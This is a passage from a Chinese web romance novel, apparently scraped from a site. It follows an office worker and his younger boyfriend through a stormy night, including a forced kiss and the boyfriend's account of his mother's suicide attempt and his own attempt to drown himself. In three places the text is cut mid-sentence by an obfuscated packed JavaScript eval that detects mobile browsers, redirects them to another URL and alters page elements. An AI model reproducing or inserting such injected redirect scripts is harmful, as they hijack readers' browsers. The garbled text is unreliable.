这么想着,但面对着董事长提出的问题,他也一五一十地如实报告了。 董事长的视线仔细地审视着他,像在做什么评估,听完以后,点头道:“我知道了。今天辛苦你跑一趟了,你回去吧。” 钟瑾宁又莫名其妙地回去了。 他被董事长秘书叫走的动静实在大,一回去,就被安组长喊进了办公室,问他和董事长聊了些什么。 甚至部长也听到风声,派人过来询问。 钟瑾宁被连番盘问得晕头转向,好不容易被放走了,重回工位上,工作微信上又是一堆狂轰乱炸的打探消息。 【不知道。】 【董事长就是问了我工作上的事,听完了就让我走了。】 【没有其他交际,上次见面,是去年年会的时候我抽中了一个三等奖空气炸锅,董事长把奖品颁给了我。】 钟瑾宁不厌其烦地一遍遍解释。 小梨偷偷问他:【董事长和你聊天的时候,你害怕吗?】 钟瑾宁疑惑:【害怕什么?】 小梨:【那可是董事长耶,我们集团的创始人!白手起家做到百亿身家,你面对着董事长不觉得敬畏害怕?没有一种趁机巴结的想法?】 钟瑾宁实话实说:【没想那么多。我就是个打工的,做好眼前的工作就好。】 小梨:【宁宁,你是不是有什么隐藏身份没告诉我们!我不相信这事有这么简单!】 钟瑾宁无奈笑了:【没有,真没有。】 隐藏身份没有,隐藏的小男朋友倒是有一个。 13.晚餐 【陪老爷子下完棋了,他的棋还是一样的臭。】 【老爷子难得良心发现了,没叫我爸回来,挺清净。】 【哥哥准备去吃饭了吗?】 钟瑾宁正在食堂排队,看到盛熠发来的消息,微微放下心来。 钟瑾宁:【嗯。】 钟瑾宁:【我在排队,今天食堂有番茄牛腩盖饭,很快就到我了。】 说来也怪,他在公司里向来独来独往,平常也是一个人下楼去食堂吃饭,偏偏这次等电梯时,有同部门其他组的几个男同事也热情招呼他一起。 钟瑾宁委婉拒绝了,又听到背后有人蛐蛐他孤僻清高。 他回头问:“你们是在说我吗?” 那群人立刻尴尬地散开了。 在食堂的窗户边找到一个单独的位置后,钟瑾宁安安静静地坐下吃饭。 阳光斜斜地透进来,在青年的侧脸描摹一层金边,衬得他像落在凡尘中的天使。 今天上午董事长的秘书亲自请他上楼,又把人送回部门的事,加上电梯间发生的小冲突都传遍了,叫周围坐着的同事频频投来好奇的目光,只有风暴中心的钟瑾宁浑然不觉,没受半分的影响。 只是他吃一会儿,又时不时拿起手机回一条消息,硬生生地把平时二十分钟的吃饭时间都拖长了。 钟瑾宁:【你边吃饭边玩手机,爷爷会不会说你?】 盛熠:【老爷子早走啦,回来就只有和我下一盘棋的时间,说是要一起吃饭,没吃几口就接了个电话,有事先走了。】 盛熠:【不过也好,我一个人吃饭更自在。】 钟瑾宁:【我也在吃饭。】 盛熠有点疑惑,不知道为什么钟瑾宁又提起一遍:【我知道啊。】 钟瑾宁慢吞吞地打出后面一句话:【所以你不是一个人在吃饭,是在和我一起吃饭。】 盛熠:【哥哥,你在安慰我吗?】 盛熠:【你好可爱。】 钟瑾宁的耳尖蹿热。 没大没小。 他放了手机,低头吃饭。 吃完后,钟瑾宁像平常那样离开了公司,回公寓午休,睡醒以后再掐在下午上班的点回到公司。 钟瑾宁进大厅的时候,被前台工作人员喊住了。 前台的工作人员有一男一女,那个女孩子和小梨认识,顺带也认识钟瑾宁,招手打招呼:“宁宁,有你的包裹——” 钟瑾宁的步伐一转,疑惑地走了过去:“我的?” 他记得自己最近没有买快递。 小姐姐从桌底下抱出来一大捧花束。 十几枝碗口大的芍药挤在一起,团团簇簇,香槟色的花瓣轻薄透明,开得正热烈,被两张英文油墨报纸简单包裹,没有半分简陋感,反而像一幅油画。 小姐姐道:“刚我放在桌子上,这花太漂亮啦,好多人问,我就放下面藏起来了。” 钟瑾宁忽然意识到是谁送的:“请问你刚见到送花的人了吗?他走了多久?” “见到了,是个年轻男生,但戴着帽子和口罩,看不清脸,个子挺高。”小姐姐想了想,“走了有十来分钟吧。” 钟瑾宁点头:“好的,谢谢你了。” 他抱着那一大捧花上楼,进工作间的时候被同事们投以哇塞的惊叹目光,要不是安组长背着手站在附近,早冲过来围观了。 安组长踱着步过来,笑呵呵问:“小钟啊,这花不错啊。谈恋爱了?” 钟瑾宁将花束放在桌上,没接话,问:“安组长找我有事吗?” 安组长的神色一僵,很快又调整好:“没事,就关心关心你们最近的工作状态。” 钟瑾宁道:“挺好的。” 他见还没到上班的时间,找出一个空置的花瓶打算插花。 安组长琢磨了一个中午,有心再打听董事长的事,但看钟瑾宁根本不理他,周围一圈同事装着在忙自己的事,实则高高竖起耳朵,道:“行,你先忙吧。” 转而叫其他同事进他的办公室了,打算从侧面问问。 钟瑾宁将花插在花瓶中后,差不多到了上班的时间点,打开待机的电脑,在程序启动的间隙里拿出手机,给盛熠发消息:【你给我送了花?】 盛熠:【哥哥收到啦,喜欢吗?】 盛熠:【我特意挑的开得最漂亮的芍药。】 等表扬的心思昭然若揭。 钟瑾宁的唇角微微扬起。 钟瑾宁:【我相信你以前没谈过恋爱了。】 盛熠茫然:【为什么?】 钟瑾宁:【要是送花有经验的话,一般会送给对方将开未开的花苞,这样花期会比较久。开得正艳的花,插在花瓶里,几天就会凋谢了。】 盛熠:【!!】 盛熠:【等等,那哥哥为什么会知道?】 钟瑾宁:【我姥姥喜欢养花,我每次去看她的时候,姥姥会让我带花回家插瓶。】 盛熠:【原来是这样。】 盛熠:【不过花凋谢了也没关系,我可以回老爷子那儿给哥哥薅别的花,不重样地给你送。】 钟瑾宁的眸底划过笑意:【不用花,你来见我就行。】 他还以为按盛熠粘人的性子会在公司楼下等他,没想到放下花就跑了。 盛熠:【其实,我还在哥哥的公司附近。】 盛熠:【要是哥哥今天不加班的话,我可以和哥哥一起吃晚饭吗?】 钟瑾宁:【好,我尽量早一点下班。】 他想了想,把公寓的门锁密码发给了盛熠。 【要是在附近玩得无聊,可以回去睡个午觉。】 工作微信出现来自客户的新消息。 钟瑾宁和盛熠说了一声后,投入进面前的工作中。 越接近下班的时间点,工作间的气氛越心浮气躁。 商务部的性质特殊,没有上下班打卡的硬性规定,要是往常没有安组长在,组员找个理由提前下班也不是什么问题。 但偏偏今天安组长不知道抽了什么风,一直稳坐在里间的办公室里,按兵不动。 往常的钟瑾宁是最不在意下班时间点的那个,有时候还会因为想早些结束手上的合作项目而主动加班,现在变了个样,频频低头看手机上的时间。 晚六点一到,其他同事因为安组长没走也不敢动,钟瑾宁却已利落地关电脑走人了。 安组长晚了一分钟出来,笑容满脸:“这段时间大家辛苦了,我今晚请大家聚个餐……” 他的目光扫到某个空位,脸色又一变,问:“钟瑾宁人呢?” 小梨弱弱举手:“安组长,钟瑾宁他晚上有约,已经下班了。” 安组长的脸色晴一阵阴一阵:“既然人不齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139327|164380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那下次再聚吧。” 钟瑾宁在路上的时候给盛熠发了消息,得知小男友正在公寓里等他。 他的心尖都变得柔软,脚步也快了几分。 钟瑾宁走到公寓门口,正准备输密码,门在眼前打开了,出现了少年的身影。 ——是盛熠听到了电梯的声音,跑着来给他开门。 “哥哥,你下班了!” 盛熠望着他,哇一声:“哥哥穿了西装,还打了领带,果然和我想的一样帅。” 少年的身上套着一条眼熟的围裙,卫衣的袖口挽了起来,露出小麦色的小臂。 厨房方向传来抽油烟机和炖煮锅的声响,空气中飘浮着香甜的食物气味,热闹又温馨。 “你……在做饭?” 钟瑾宁迟疑问。 他本来打算带盛熠出去吃的。 “是啊,我跟着教程学着做了一点菜。”盛熠笑起来,让开路,“时间刚好,哥哥洗个手,就可以开饭啦。” “好。” 钟瑾宁走进来,解开领带,脱了外套,想随手挂在玄关的立式衣帽架上,盛熠却已伸出手,一副期待等待的模样。 钟瑾宁试探性地将自己的西服外套递给他。 盛熠乐颠颠地接了过来,转过身去,将西服外套挂在衣架上,再挂上了衣帽架上的横杆。 钟瑾宁去卫生间洗手,盛熠转去端菜摆盘。 等钟瑾宁出来,盛熠摘了围裙,盛了一碗鸡汤,推到他那边,催着道:“哥哥快坐下,尝尝我的手艺。” 钟瑾宁应了声,拉开椅子坐下,拿起勺子,尝了一口。 鸡枞虫草花带着山野的味道,鸡肉炖得软烂,汤色黄澄澄的,喝起来清甜鲜美。 盛熠的眼眸亮晶晶地望着他。 “很好喝。”钟瑾宁道,“这真是你第一次做菜?” 盛熠点点头,得意道:“我跟着食谱在线上生鲜店买的食材,做出来的。这是不是说明我有一些做菜天赋在身上的?” 钟瑾宁笑着道:“是。” 菌菇明显是拼盘礼盒,三黄鸡也是生鲜店预先处理好的,是最精华肥美的一部分,但少年第一次下厨就能做成这样,也很厉害了。 餐桌上还有一道拍黄瓜和番茄炒蛋,属于新手入门级的家常菜,味道都称得上不错。 钟瑾宁不吝夸奖,很给面子地比平常多吃了半碗饭。 该去洗碗的时候,钟瑾宁执意让盛熠坐着,他来收拾。 大概因为等他下班,厨房已经被盛熠提前收拾过一遍,只有餐桌上这几个碗需要洗。 钟瑾宁挽起了衬衫袖子,套上围裙,站在洗碗槽前,打开水龙头。 他的面前是厨房的窗口,正对着昏暗的夜色。 天边突然闪过银白色的闪电,然后是一声轰隆巨响,玻璃窗户都被震了震,呼呼风声逐渐变大。 好像要下雨了。 钟瑾宁微微蹙眉,很快将几个碗洗完,放在沥水架上。 他拿出手机查看天气,发现本地气象台在半小时前紧急发布了橙色暴雨预警。 就这短短几分钟,窗外又是几声震天响的电闪雷鸣,有细微的雨点开始敲打玻璃窗。 盛熠走进来:“哥哥,快下雨了,我先回去了。” 钟瑾宁放下手机,道:“今晚别回去了,住我这儿吧。” 14.停电 钟瑾宁本打算开车送盛熠回去的,但看天气预报软件预测雷暴雨持续至深夜,转念一想,觉得把盛熠留下,明天雨停了让他回去更安全。 他的语气平淡,面前的少年却呆了瞬,脸颊噌一下涨红了。 钟瑾宁意识到了什么。 啊,他刚那样说,好像是会引起误会。 盛熠的神色羞涩又期待,小声道:“我可以的。” 这是在可以什么? 钟瑾宁感觉有一丝不妙,解释道:“这个点有很多加班结束的人会打车,路上容易堵车,加上下大雨,回去不太安全。” 盛熠嗯嗯点头:“我知道的。” 面前的少年耳根通红,视线也飘忽,钟瑾宁很是怀疑盛熠到底知不知道他根本没有那方面的意思,但也作罢:“……我去给你找洗漱用品。” 他们小组除了他一个男性,其他都是年轻女孩子,安组长是个四五十岁的已婚男士,出公差时有时需要带人,为了避嫌,基本都叫钟瑾宁一起,钟瑾宁在公寓备的有一次性洗漱用品、压缩浴巾等出差常用的东西,正好今晚可以给盛熠用。 钟瑾宁去了储物间,拿出一次性牙刷和毛巾,又带盛熠去了卫生间,指了沐浴露和洗发水,还有浴室冷热水的方向。 盛熠跟在他后面,问:“哥哥,那我今晚睡哪里?” 钟瑾宁道:“和我睡。” 又默了默,道:“你要是想睡沙发也行。” 客厅里的是奶油风布艺沙发,柔软又宽敞,躺上去直往下陷,钟瑾宁有时候加班到半夜回来,想在沙发上休息会儿再去洗漱,不小心就睡着了,直接睡到天亮,醒来洗个澡再去上班。 盛熠立刻道:“我想和哥哥睡。” 想亲近的念头就差写脸上了。 “好吧。”钟瑾宁道,“你先洗澡,我怕雷暴雨一来,电压不稳,晚了会停电。” 盛熠乖顺地点头。 钟瑾宁出了浴室,回了主卧,在衣柜里找出一个枕头放在床上,又找出一套干净的睡衣,回到浴室门口。 浴室是磨砂玻璃门,里面响着哗啦水声。 钟瑾宁将衣架挂在把手上,敲了敲门:“盛一,我把睡衣挂在门上了。” 少年的声音从里传来,在水流中显得模糊不清:“好,谢谢哥哥。” 钟瑾宁见盛熠的手机放在餐桌上,看了看充电口的型号,确定可以用后,连接了充电线。 接通的瞬间,手机屏幕自动亮起,右上角的电池符号只剩一线薄薄红色,变为一个绿色小闪电。 通知栏上出现数条信息。 FZC:【有个音乐经纪公司联系我们想出专辑,怎么说?】 GS:【盛哥估分了吗?老班还特地问我你考得怎么样。】 13xxx:【尊敬的会员您好!u27拳击俱乐部提醒您办理的会员卡有效期……】 钟瑾宁本没打算看,但不小心扫到了拳击俱乐部几个字,蹙起了眉。 屏幕因为长时间无人的操作,又暗了下去。 钟瑾宁决定等盛熠出来了再问问,转而拿了餐边柜的水壶去烧了一壶热水。 在等水烧开的间隙里,他给姥姥打了个电话。 盛熠洗完从浴室里出来的时候,钟瑾宁的通话还没结束。 “姥姥你也注意把门窗都关好,今晚会降温,记得换厚一点的被子。” “下了雨湿气重,要是膝盖疼了,就用我上次给你买的膏药……” 声线似春日轻风,带着和缓。 餐厅的灯光橘黄,仿佛落下一层朦胧的轻纱。 青年眉眼低垂,神情柔和,他还穿着衬衫和西裤,斜斜靠在柜旁,成熟和温柔的气质融合在一起。 盛熠无意识地停了脚步。 钟瑾宁听到动静,掀眸看来,对着少年笑了笑。 他又对手机里的另一边道:“姥姥,时间很晚啦,我不和你说了。” 对面似是又絮叨了几句,钟瑾宁耐心地听着,嗯了两声,最后道别挂断,转而看向盛熠。 对他来说刚好合适的睡衣,在盛熠的身上显得有点小。 少年的头发湿漉漉的,眼眸黑亮,望着他,穿着铅灰色薄睡衣,扣子没扣完,露出小片结实胸膛,裤腿短了,露出一截瘦削的脚踝。 “哥哥在和姥姥打电话吗?” “嗯,姥姥一个人住,我怕她不知道雷暴雨的事,让她注意早点休息。” 钟瑾宁笑道:“对了,我刚给你把手机充上电了。” 他正思考着怎么开口,却听到盛熠问:“哥哥,你这儿有烫伤膏吗?” 钟瑾宁一愣:“你受伤了?” 盛熠有点不好意思地点了下头,摊开右手手掌给他看,低声道:“炖汤的时候,我不小心用手碰了一下锅边,烫着了……当时用凉水冲了会儿,以为没关系,但刚才洗澡的时候看了下,好像变严重了。” 少年伸来的手掌一侧明显泛着不正常的红肿。 钟瑾宁神色惊愕,暗骂自己粗心。 吃饭过程中,他注意到了少年执筷子的动作有些笨拙,吃得也慢,但以为是盛熠不怎么饿的原因,没往心里去。 哪知道少年从那时起就在忍受手掌被灼伤的痛楚。 钟瑾宁握住盛熠的手腕,将他匆匆拉到客厅沙发:“你坐这儿等等,我找药。” 又转身去柜子里拿出医药箱,找出烫伤膏和医用棉签。 他坐回盛熠的身边,道:“手给我。” 外面的夜色更深,雨声彻底落了下来,哗啦哗啦地敲打窗户。 盛熠伸了手给他,像个做错事的、惴惴不安的孩子,问:“哥哥,你是不是生我的气了?” 钟瑾宁用棉签蘸了药膏,从下托起盛熠的手,一边涂药,一边轻声道:“我怎么会生你的气?是觉得自己做得不好,这么久,都没发现你受伤的事……” 他兀自懊恼着,轻轻地咬着唇。 让半大少年在家里学着给他做饭,他本就觉得良心不安。 再加上疲惫工作了一天,下班回家就能吃上热饭,让他禁不住生出【要是每一天都能这样就好了】这种不该有的隐秘心思,更是自觉羞愧。 没想到盛熠还为了做饭受伤了。 钟瑾宁愈发觉得自己这个年长的男友做的不够格。 盛熠道:“我没有告诉哥哥,哥哥不知道也很正常,是我自己的原因。” 钟瑾宁抬起脸,很认真地对他道:“那以后要是受伤了,就得第一时间告诉我,知道吗?” 盛熠的唇角翘起来,乖乖道:“我知道了。” 钟瑾宁微微放下心来,低头继续涂药,轻声念叨着:“这段时间伤口注意不要碰水,这个烫伤膏挺管用的,我以前做菜被油崩到手,也是用的这个……” 盛熠注视着他,眼眸灼亮得惊人,脸上泛着病态的红。 看面前的青年为自己蹙眉,看他也自己担心,看他全部的心神都在自己的伤上。 盛熠的胸口轻微地震颤,鼓胀着一种幸福的满足感,那种充盈的感觉甚至让浑身的血液发热,大脑眩晕,生出幻听似的嗡鸣。 钟瑾宁还在说着话,漂亮的唇瓣开开阖阖,晕开一层玫瑰般的润红色泽,诱人采撷。 盛熠望着他的唇,喉咙忽然生出缺水似的干渴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151584|164380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想…… 钟瑾宁将盛熠手掌上的烫伤都涂上了一层薄薄的药膏。 他半松了口气,把药膏和多余的棉签放在茶几上,嘱咐:“明天醒来的时候,记得要再涂一遍。” 客厅外面传来一道重重的雷声,震得像要把整个天穹都撕裂,头顶的灯光闪烁几下,啪的一声,熄灭了。 视野陷入一片黑暗。 “啊,停电了。”钟瑾宁想起身,“我去看一下是跳闸还是整栋楼——” 话还没说完,潜藏在阴影中的少年身影忽然动了,扑了上来,撞上钟瑾宁的唇。 钟瑾宁的话语猛地卡住了。 “哥哥……” 少年的呼吸很重,声音喑哑黏糊,刚出浴的身体散发着滚烫潮湿的热气,压着他,一起倒在了沙发上。 钟瑾宁被压下去,第一反应是盛熠的伤,有些慌:“小心你的手!” 最后一个音节被急切落下的吻尽数吞了进去。 昏暗的光线中,盛熠压着钟瑾宁在沙发上,热切地含咬着钟瑾宁的唇,像饿急了的小狗磨骨头似的,又舔又吮,留下湿漉漉的痕迹。 “哥哥、哥哥。” 盛熠的身体热得吓人,紧贴着他,胡乱地亲着,语气迫切:“让我进去好不好?我就舔一舔……” 火热有力的舌尖往钟瑾宁的唇缝里探,叫钟瑾宁的后背过电似的发麻,升起一阵颤栗。 钟瑾宁张开口想说话,齿关松开,却被逡巡在外的舌尖误以为是同意的信号,猛地侵入了进去。 “唔……等、等等……” 盛熠兴奋得整个人都在发抖,追逐着藏在齿间的小舌,翻搅、缠绵,攫夺着里面的香甜津液。 像是凶狠的扫荡,横冲直撞,宣誓着所有权,在每一个角落都要仔仔细细、里里外外地舔舐数遍,打下自己的印记。 钟瑾宁的后背抵在沙发上,退无可退,被迫张着唇,里里外外都被舔了个透,舌根被吮得生疼。 唇舌间的呜咽声被尽数堵住,口腔因为长时间被迫张开,两侧的软肉微微泛酸,呼吸被掠夺,生出窒息般的晕眩,含不住的津液从唇角滑落。 “够、够了……” 钟瑾宁的所有感官都被面前的少年主导着,体温也不断攀升,几乎错觉整个人要被盛熠吞吃入腹,慌慌张张地伸手去推他。 推了两次,盛熠的理智勉强复苏几分,喘着粗气,退了开来。 “哥哥,对不起。” 一片黑暗中,少年的呼吸急促,哑声道:“太喜欢哥哥了……没忍住……” 钟瑾宁的气息不稳,耳根也烫灼,衬衫变得皱巴巴的,甚至在刚才轻微挣扎的时候绷开了几颗扣子,不用看,也知道自己现在狼狈极了。 不由庆幸着现在停了电,面前的少年看不到他的姿态。 他胸口里的心跳也乱,低声道:“明明上次就说过不可以的……” 盛熠很委屈地问:“哥哥,我们是恋人,为什么不可以亲亲啊?” 钟瑾宁的脸颊发着热:“不可以就是不可以。” 盛熠只好道:“好吧。” 钟瑾宁缓了下。 盛熠顿了几秒,又问:“不伸舌头的也不行吗?” “不行。” “不亲嘴,亲哥哥的脸呢?” “也不行。” 钟瑾宁臊得厉害:“你别问了,都不行。” 盛熠从喉咙里发出一声含糊的咕哝。 钟瑾宁没听清:“你说什么?” 盛熠小声道:“哥哥,好小气。” 钟瑾宁的唇角又肿又疼,气笑了:“是你亲得太过分了!” 15.看见 公寓附近电路断了,正在紧急抢修中,不知道什么时候恢复电力。 钟瑾宁带着几分逃避的心思,摸着黑进了浴室。 好在虽然停了电,但电热水器还储存着热水。 他借着手机手电筒的光简单地洗了个澡,换上睡衣,将脱下的衣服一并塞进了脏衣篓里,刷了牙,甚至还做完一整套的面霜护肤。 直到实在想不出来有什么事可做了,钟瑾宁才慢吞吞地从浴室里出来。 外面的雨点哗啦地响,主卧的小夜灯有储电的功能,散发一圈乳白的光亮,显得格外静谧。 穿着睡衣的少年坐在床边,在翻钟瑾宁睡前看的书,听到他进来了,合上书,很乖地问:“哥哥,我睡哪边?” 钟瑾宁看到他,耳根又有点升温,道:“你睡里面吧,我比你起得早。” 盛熠点了下头,往里挪了位置。 “不玩手机吗?”钟瑾宁坐上来以后,见盛熠还捧着那本书,“是不是刚才电没充够,要充电宝吗?” “不用,我手机有百分之六十的电,够了的。”盛熠笑了笑,“我是想知道哥哥平时在看什么书,结果有点出乎我意料。” 书籍封面几个大字——《职场沟通:说话的艺术》。 “这本是我一个同事送我的礼物,说做我们这行的,要学会见人说人话,见鬼说鬼话。” 钟瑾宁实诚道:“谢谢她的好意,虽然我看不太进去,但这本书作为睡前读物非常合格。” 拿起来读了几分钟,睡意就能铺天盖地地涌来。 导致这本书放在钟瑾宁的床头几个月了,进度永远停留在前几页。 “原来是这样。”盛熠道,“我觉得哥哥的说话方式挺好的,没什么需要学的。” 钟瑾宁赞同:“我也觉得。要学习说话艺术的,是那些不会明着说话的人才对。” 他踌躇了下,问:“对了,我刚帮你的手机充电的时候,看到有一家拳击俱乐部给你发消息。” 盛熠没觉得钟瑾宁看自己的手机有什么:“u27吗,那儿是傅子程的一个朋友投资的俱乐部,给过我一张会员卡。怎么了?” 钟瑾宁疑惑:“你未成年的时候也能进去?” “能。”盛熠点头,“那个俱乐部是正规的教学场地,教练都有证的。” “不是打黑拳的地方就好。” 钟瑾宁刚才还担心盛熠是在那儿打黑拳拿不干净的钱,半放下心来:“你经常去那儿玩吗?” “有时候想起来就去。”盛熠敏锐地察觉钟瑾宁蹙了眉,“哥哥不喜欢我去那儿吗?” 钟瑾宁问:“打拳击是不是很容易受伤吧?” “练习的时候大家都戴了护具,下手也知道轻重的。”盛熠笑道,“不过哥哥要是担心我受伤,我以后都不去了。” 钟瑾宁不想做阻拦小朋友兴趣爱好的坏人:“你要是喜欢玩的话……” “没什么喜不喜欢,对我来说打拳也是打发时间的。”盛熠毫不犹豫地道,“哥哥的意见更重要。” 钟瑾宁的唇角微微上翘:“我让你做什么,你就做什么啊?” “那当然了。”盛熠道,“我听哥哥的。” 那明明说过不可以亲亲,刚才也没看你停下来。 钟瑾宁想起刚才的吻,脸颊隐隐发热,道:“时间不早了,睡觉吧。” 盛熠道:“好。” 卧室里响起一阵手机铃声,两个人齐齐一愣。 是盛熠的手机。 少年拿起自己的手机,看清楚屏幕后,脸上失去了笑意,道:“哥哥,你先睡,我出去接个电话。” 钟瑾宁有些担心,但也没有追问。 主卧的房门半掩,雷雨声遮盖了外面的谈话声。 小夜灯被调成最低的光亮,窗玻璃被敲打得噼里啪啦的,衬得卧室更加安静。 不知道过去了多久,钟瑾宁昏昏欲睡,连盛熠什么时候回来了,躺回床上也不知道。 主卧是双人床,躺下两个人也很宽敞,中间还能留一条道。 “哥哥。”盛熠偏过头,轻声喊,“你睡着了吗?” 钟瑾宁梦呓似的应一声。 旁边的少年翻过身,跨越中间那条安全距离,小心地伸手抱住了他。 动作很轻,但钟瑾宁被惊醒了,低声唤:“盛一?” “对不起哥哥,我把你吵醒了吗?”盛熠顿了下,“我就是想抱会儿你。” 少年贴着他,往日热烘烘的身体因为在外面待太久,体温变得有些温凉。 他很小声地求:“就一会会儿,可以吗?” 钟瑾宁叹口气,拿盛熠没辙,微微侧过身,手掌贴上少年的后背,道:“抱吧,抱多久都行。” 他的指尖探上去,隔着薄薄的睡衣,摸到少年的后背也沁着凉意,不由担忧:“你在外面是打了多久的电话?冷不冷?” 盛熠毛绒绒的脑袋靠在钟瑾宁的肩上,手臂横圈着他的腰身,眷恋道:“不冷的,哥哥抱着很暖和。” 少年的体温回升快,这样抱在一起没多久,就又变得温热了。 盛熠的声音显得闷闷的:“哥哥,刚我爸给我打电话了。” 钟瑾宁迟疑地问:“是看下这么大的雨,找你回去吗?” 盛熠笑起来:“我爸才不会找我回去,他找我,是想打探老爷子和我说了什么,想知道自己的位置稳不稳。后面我俩又吵起来,他问我怎么没有跟着我妈一起去死。” 钟瑾宁的心尖被揪了起来,抱着盛熠的力度也收紧。 “我站在阳台上看外面落下来的雨,才忽然想起来,也是在这样的雨天,我放学回家,碰见了割腕自杀的妈妈。” 盛熠的声音很轻,像在回忆一场飘渺的梦境。 “我打了急救电话,妈妈被救了回来,在医院里醒来看见我,哭着问我为什么要救她?” “她说她恨我爸,也恨我。” 盛熠喃喃道:“我……一直以为在妈妈眼里,我是站在她那边的,但因为我流了我爸一半的血脉,所以她也恨我。” “那时候医生建议妈妈暂停工作,去精神疗养院住一段时间,妈妈是一个很优秀的珠宝设计师,经营着一个以‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155115|164380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唯一爱人’为主题的珠宝品牌,不允许自己停下工作,更不愿意住院,也不愿意和我爸离婚——哪怕我爸出轨成瘾,有时候还会带人回家。” “妈妈的精神时好时坏,好的时候,会摸我的头,笑着让我快一点长大,坏的时候,会尖叫着把药瓶扔到我身上,不想吃药,也不想看到我,让我滚出这个家。” 钟瑾宁退开几分,在黑暗中伸了手,碰了碰少年的脸。 是干燥的。 “哥哥担心我哭吗?” 盛熠捉住钟瑾宁的手,扬起脸,依恋地蹭了蹭他的掌心:“不会哭的。有一天,我碰到了一个人,他对我说过,我妈妈只是生病了。就像是感冒有发烧、咳嗽的症状,我妈妈情绪不好,也是生了病的症状,她不是故意想凶我,是控制不了。” 钟瑾宁认真地道:“是的。我姥姥和姥爷感情很好,姥爷车祸去世以后,姥姥每天都在悄悄地哭,那段时间茶饭不思,不愿意出门,更不愿意和人说话——爸爸妈妈也是这样告诉我的,姥姥是生病了,如果不加以外力干预,她自己一个人闷在家里,是很难走出来的。” 他问:“你也是医生告诉你的吗?” “不是,是个哥哥。” “以前我被妈妈赶出家门的时候,会坐在门口一直等,等到妈妈冷静下来,放我进去,抱着我哭对不起,我再说没关系。” “但是在那一天,我在想,是不是我的存在一开始就是错误的,没有人喜欢我,也没有人想要看见我。我不该在那天救下妈妈,就像我不该来到这个世界上一样,这样大家都不会痛苦了。” 盛熠低声道:“所以那一晚,我在公园的湖边坐了很久,然后跳了进去。” 钟瑾宁的心脏像被一只大手猛地攥住,浑身血液冰冷,喉咙也阵阵发紧。 “湖水很冷,但是有人抱住了我,那是个很温暖、很温暖的怀抱。我在那一刻才知道,原来真的会有人想要我留在这个世界上。” ——为什么要救我? ——因为我看见你了。 “也是他告诉了很多事,我回去以后,有在好好监督妈妈吃药,她在最后的时间情况稳定了很多。” 盛熠放轻了声音:“我很感谢那个哥哥,我们还约定了再见面的。可惜,那个哥哥好像已经忘了我了,也忘了约定。在他眼里,我根本不重要,也不值得被看见。” “盛一。” 钟瑾宁突然唤。 盛熠抬眸看他,哪怕是在一片黯淡的光线中,也能感受到钟瑾宁在柔和地注视着自己。 钟瑾宁道:“你的血缘不是你选择的,父母的境遇也不是你造成的。我们盛一没有做错任何事,是干干净净,值得被喜欢的好孩子。” 他道:“我看见你了。” 一滴泪珠在黑暗中砸落了下来,灼伤了钟瑾宁的手指。 盛熠低头抱紧了钟瑾宁,窗外雨声急骤,钟瑾宁的肩头洇开一片温热的湿润。 钟瑾宁轻轻地回抱住了盛熠颤动的后背。 “哥哥,骗子……” 含糊又委屈的抱怨,融进了雨声中。 16.打赌 “宁宁,你听见我说话了吗?” 钟瑾宁低着头,心不在焉地搅着咖啡杯,抬头看到小梨担忧的脸,道:“抱歉我走神了,你刚说什么?” 小梨道:“氨基酸在群里通知大家今晚聚餐,大家都在回收到呢。” “啊好的,谢谢。” 钟瑾宁拿出手机,看到了工作群里艾特全员的消息,下面一排收到,跟着也回了一句。 “宁宁你没事吧,怎么看着今天早上一直在走神?”小梨疑惑问,“昨晚没睡好吗?” 钟瑾宁笑了下:“有点,所以来茶水间泡咖啡了。” 昨晚睡得不稳,好像做了许多光怪陆离的梦,醒来却全忘了,甚至醒来的时候,闹钟还没响。 天色没亮,身旁的少年抱着他,呼吸绵长,睡得安稳。 黑发散乱,看起来很乖。 就像那天清晨一样,他先离开了。 不同的是,这次他留下的便签贴在床头,写的是:【我去上班了。】 念什么来什么,顶端的通知栏弹出来自盛熠的消息:【哥哥,我醒了,你什么时候走的啊,怎么不叫我。】 钟瑾宁放下咖啡杯,靠在桌边,回消息:【七点多醒的,那么早,我叫你起来做什么。】 盛熠:【我想醒来就看见哥哥,醒晚了,只看见了空空的床。】 钟瑾宁:【昨晚不是刚见过了吗?】 盛熠:【昨天是昨天,今天是今天,不一样的。我每天都想见哥哥。】 像每天要糖吃的小朋友。 钟瑾宁在心里点评。 盛熠:【哥哥,你的衣服能机洗吗,要不要我给你扔洗衣机?】 钟瑾宁早上走得急,忘了脏衣篓的衣服:【可以的,但需要套洗衣袋,在洗手池下面的抽屉里。】 盛熠回了个ok。 钟瑾宁:【右手还疼吗?】 